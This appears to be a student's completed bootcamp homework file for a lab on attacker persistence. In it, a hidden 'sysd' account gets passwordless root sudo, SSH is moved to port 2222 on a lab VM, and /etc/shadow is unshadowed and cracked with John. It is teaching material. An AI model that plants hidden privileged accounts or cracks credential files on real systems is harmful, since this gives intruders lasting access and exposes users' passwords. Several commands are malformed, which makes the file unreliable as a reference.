**## Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

\*\*Step 1: Shadow People\*\*

**1.** Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

**-**

useradd -rMo -u sysd

**2.** Give your secret user a password:

**-**

passwd sysd

Homework6

**3.** Give your secret user a system UID < 1000:

**-**

usermod -u 555 sysd

**4.** Give your secret user the same GID:

**-**

groupmod -g 555 sysd

**5.** Give your secret user full `sudo` access without the need for a password:

**-**

visudo sysd ALL=ALL:ALL NOPASSWD:ALL

**6.** Test that `sudo` access works without your password:

```bash

cat /etc/sudoers | grep -i sysd | awk '{ print $3 }'

```

\*\*Step 2: Smooth Sailing\*\*

**1.** Edit the `sshd\_config` file:

```bash

sudo nano /etc/ssh/sshd\_config

```

\*\*Step 3: Testing Your Configuration Update\*\*

1. Restart the SSH service:

-

systemctl restart ssh.service

2. Exit the `root` account:

-

exit

3. SSH to the target machine using your `sysd` account and port `2222`:

-

ssh sysd@192.168.6.105 -p 2222

4. Use `sudo` to switch to the root user:

-

sudo su

\*\*Step 4: Crack All the Passwords\*\*

1. SSH back to the system using your `sysd` account and port `2222`:

-

ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

-

unshadow /etc/passwd /etc/shadow > passwords.txt

john passwords.txt

\*\* Loaded 8 password hashes with 8 different salts \*\*

---

© 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.

\*\*\* REMEMBER \*\*\*

### Lab Clean Up

Warning: Only do the following once you have submitted your homework and do not have additional changes to the assignment.

These steps are optional. Complete them if you want to remove the homework-specific Vagrant lab VMs to free up space on your personal computer.

1. Open the terminal window that you ran vagrant up in, or re-open a terminal window at the directory you saved your Vagrantfile.
2. Run vagrant halt to shut down the Target Machine and Attacker Machine virtual machines.  
   * vagrant will attempt to gracefully shut down the machines.
3. After that has completed, run the command vagrant destroy and confirm removal of both virtual machines by typing y/yes and pressing Enter.